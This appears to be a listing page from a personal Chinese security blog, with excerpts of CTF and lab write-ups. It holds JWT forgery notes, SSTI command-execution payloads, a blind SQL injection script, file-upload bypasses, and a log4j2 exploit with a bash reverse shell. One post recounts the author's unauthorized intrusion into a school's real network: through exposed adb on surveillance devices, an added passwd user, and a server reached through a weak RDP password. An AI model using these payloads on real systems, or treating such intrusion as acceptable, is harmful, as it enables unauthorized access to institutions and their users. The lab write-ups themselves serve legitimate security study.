jwt_session伪造

jwt_session伪造 JWT:将用户身份信息编码到Token,通过签名确保数据完整性,无需服务器验证,只需要验证签名完整性 jwt由三部分组成:头部.载荷.签证 e e K y y M J J U h z F b d s G W I c I D i i T O O n i i F J I m I x y U M G z j 3 I M n 1 0 M N N i i T G I Y M s 3 6 I O H n D 9 R k F 5 w N c I F C i U I w R 6 i O I b f k m 3 p F w X t h V Z 7 C S S J I m 9 6 q . I J k p p - v Q a V G 3 4 0 g R G 9 l I i w i Y W R t a W 4 i O n R y d W U s I m l h d C I 6 M T U x N j I z O T A y M n 0 . 由签证验证前两者的准确性 ...

February 27, 2025 · 2 min · 410 words · neko

python ssti 注入绕过与ctfshow刷题

如何确定模板: 一个完成的ssti利用如下 拿基类->找子类->构造命令->拿flag {{''.__class__.__base__.__subclasses__()}} # 拿基类 {{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__}} #找子类 (常见是命令执行或者文件读取类的) {{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} # 构造命令 {%%} 执行 有时候双大括号会被过滤,可以使用这个进行执行 输出可用: {%print("".__class__)%} request 绕过 最喜欢的绕过方式 request可以访问基于http请求的传递的所有信息,这里的request是flask的函数 request.args.key #获取get传入的key的值 request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get request.cookies.key #获取cookies传入参数 request.headers.key #获取请求头请求参数 request.data #获取post传入参数(Content-Type:a/b) request.json #获取post传入json参数 (Content-Type: application/json) 例如[HNCTF 2022 WEEK3]ssssti 这道题,就可以使用request绕过的方式 from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directoryimport os import re app = Flask(__name__) @app.route("/") def app_index(): name = request.args.get('name') blacklist = ['\'', '"', 'args', 'os', '_'] if name: for no in blacklist: if no in name: return 'Hacker' template = '''{%% block body %%} <div class="center-content error"> <h1>WELCOME TO HNCTF</h1> <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name')) return render_template_string(template) if __name__=="__main__": app.run(host='0.0.0.0',port=5050) payload: ...

February 20, 2025 · 2 min · 289 words · neko

ssti,模板注入

模板注入不止与python,其官方存在与各类存在模板引擎的语言中,java,php,js,都有,这里为了方便使用python学习 from flask import Flask from flask import request from flask import render_template_string app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): template = ''' <p>Hello %s </p>''' % (request.args.get('name')) return render_template_string(template) if __name__ == '__main__': app.run() flask框架使用的是jinja2模板引擎 关键在于 <p>Hello %s </p>''' % (request.args.get('name')) 将输入直接插入了显示,而jinja2会在插入的时候将{{}}中的内容作为变量解析 利用前置知识点 对象 python中一切都是对象,创建列表、字符、字典、时候都是在创建对象 继承 对象的类是实例,类是对象的模板,创建对象其实是创建了一个类的实例,python中所有类继承与一个基类,通过创建一个对象反向查找他的类以及他的父类,这样就能从任意对象回到基类,在从此往下查找 魔术方法 通过魔术方法能做到对类的操控,从而完成命令执行或文件读取之类的操作 注入流程 拿基类->找子类->构造命令->拿flag 魔术方法备忘 _ _ _ _ c b b m l a a r a s e o s e s _ s _ e _ _ _ _ _ _ 对 查 实 象 对 看 例 的 象 继 对 直 的 承 象 接 全 关 的 基 部 系 类 类 基 的 类 调 , 用 元 顺 组 序 形 , 式 元 组 形 式 基类 通过mro魔术方法拿到基类 ...

February 20, 2025 · 4 min · 681 words · neko

ctfshowWP

今后有关ctfshow的解题都会在这里 ctfshow web8 sql注入,不过过滤了很多东西,常见的and,union空格 但依旧可以通过 GET /index.php?id=2/**/or/**/true# GET /index.php?id=2/**/or/**/false# 来判断真假来注入 需要使用盲注,函数为ascii,原理就是比对 or/**/ascii(substr(database()from/**/1/**/for/**/1))=ascii(substr(database()from/**/1/**/for/**/1))%23 截取当前数据库的第一个字符,比对第一个字符,返回很多文章,证明是true,成功 查询当前数据库的代码 import requests def check_id(id_value, position): # position 递增 url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr(database()from/**/{position}/**/for/**/1))={id_value}#" response = requests.get(url, verify=False) # 长度大于 403 ASCII if len(response.content) > 403: ascii_value = chr(id_value) return ascii_value return None def main(): inp = "" position = 1 # 查询位置 while position <= 5: for i in range(0, 128): # 遍历ascii result = check_id(i, position) if result is not None: inp += result print(f"Position: {position}, ASCII: {result}") position += 1 break print(f"Final input: {inp}") if __name__ == "__main__": main() 查询到数据库名称为web8 ...

September 16, 2024 · 2 min · 316 words · neko

php文件上传靶场-upload_labs[未完成]

既在比赛中吃亏的时候就决定要再把这个靶场刷一边,当我还在寻思怎么绕过验证的时候队友就已经拿到webshell了,这个差距简直无法接受 pass-01 简单的js前端验证 约等于没有 过 pass-02 在源代码中关键点在与 if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) $_FILES这个超级数组是用于处理文件上传的信息的,其中包括客户端通过post传输的上传文件的文件信息,其中type这个字段是用于判断文件的类型,在流量包中体现为Content-Type:字段 将content-type修改为image/jpeg发包上传,成功 pass-03 在pass03的代码中他设置了一个黑名单并做了判定 $file_ext = strrchr($file_name, '.'); $deny_ext = array('.asp','.aspx','.php','.jsp'); if(!in_array($file_ext, $deny_ext)) 过滤掉了常见的脚本后缀,看似天衣无缝,但这个靶场使用的是apache的后端,而它其中存在一个配置文件httpd.conf 之中的AddType application/x-httpd-php .php .php3 .phtml语句用于告诉服务器将什么后缀的文件交予php解释器处理,这里除了php还有php3,phtml,这没有在代码的过滤器中 pass-04 这次过滤很严格 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); 但还是在httpd.conf中,存在这样一条配置 AllowOverride All的作用是允许.htaccess 文件覆盖服务器的全局配置,这导致我们可以上传这个文件覆盖掉服务器配置文件,使得自定义的后缀被服务器的php解析 <IfModule mime_module> AddType application/x-httpd-php .boom </IfModule> 局限性:apache才存在,AllowOverride All默认关闭 pass-05 代码如下 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 发现了什么?过滤了hta,但就php没有过滤大小写 pass-06 第六题的代码中少了去除空格的一行代码 $file_ext = trim($file_ext); //首尾去空 而过滤中却没有,也就是可以构造php 来pass pass-07 这次提示直接说过滤了所有后缀 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 本次靶机使用的是windows,在windows中有一个特性,在后缀后面再加点这个点会被系统丢掉 利用这特性在后缀加点就可绕过 pass-08 pass8与前面的代码相比,少了一个::$DATA的过滤,其利用 NTFS 文件系统中的一个特性,替代数据流 (Alternate Data Streams, ADS) ...

September 14, 2024 · 2 min · 300 words · neko

校园网突破

校园网突破 简单来说就是内网渗透,除了突破学校网络来上网,还有就是看看能不能拿下更多的设备 出网权限获取 学校的设置是教学区可以使用校园网出网,而宿舍虽然有校园网的选项但是并不能出网,根据之前的上个学期的经验学校的宿舍网络与校园网络是相通的也就是说最简单的方法就是找到一台教学区的设备作为跳板出网,这并不难,去年学校装了不少监控开着adb端口我已经报告了好几次了——你既然不修,那我就来用 随即选择一台幸运设备连接 可以看到是一个标准shell,nmap扫描结果显示开放ssh端口,这就好办了,修改passwd文件手动写入一个用户 在用passwd命令修改密码 这样就拿到了ssh权限,可以做代理了 速度尚可,但是非常不稳定 通过一个rdp弱口令进入了一台服务器,在user下发现了个好玩的 s 原以为是已经被人拿下了 但这不像 供 h 管 应 t 理 链 t 员 p : : a / d / m * i * n * . * * * 密 . 码 * : * * * * . * * * * / x x x / D e f a u l t . a s p x ...

September 7, 2024 · 4 min · 654 words · neko

log4j2复现

log4j工具利用 简单复现 log4j2 java应用常见的开源日志库, jndi JND,一个JAVA的接口用于,能从指定的外部服务器获取并加载对象 简单利用,拉一个靶场 docker pull vulfocus/log4j2-rce-2021-12-09 docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 工具https://github.com/welk1n/JNDI-Injection-Exploit 通过mvn clean package -DskipTests编译后在target中能找到jar文件 反弹shell的常用命令是bash -i >& /dev/tcp/172.17.0.1/2345 0>&1这样的一般会用bash -c "bash -i >& /dev/tcp/172.17.0.1/2345 0>&1"来拿到shell,但这里不行需要用到https://ares-x.com/tools/runtime-exec来编码反弹shell 得到bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i} 工具的使用为 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] -c跟上执行的命令,-A跟上攻击机的ip地址,运行后为 这里jdk7和jdk8的payload在vulfocus靶场都用不了需要使用中间也就是whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):这个条件的payload 即可

July 22, 2024 · 1 min · 58 words · neko

R3PHP wp

R3PHP 如果没有题解我绝对想不到 原题: <?php error_reporting(0); if(strpos($_REQUEST['url'],"http")===0){ $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>$_REQUEST['header']) ); $context = stream_context_create($opts); $file = file_get_contents($_REQUEST['url'], false, $context); // echo $file; # no show for u }else{ echo "hacker!"; } highlight_file(__FILE__); ?> 应该是出题人的人说 First, by reading the code, you can know that it is a blind ssrf, and then you can also pass the header header After casually entering a url, I found that 404 is phpstudy, and I can tell that it is a small skin panel of linux. The code of phpstudy Panel, audit found that all requests go through port 8090: ...

June 11, 2024 · 3 min · 602 words · neko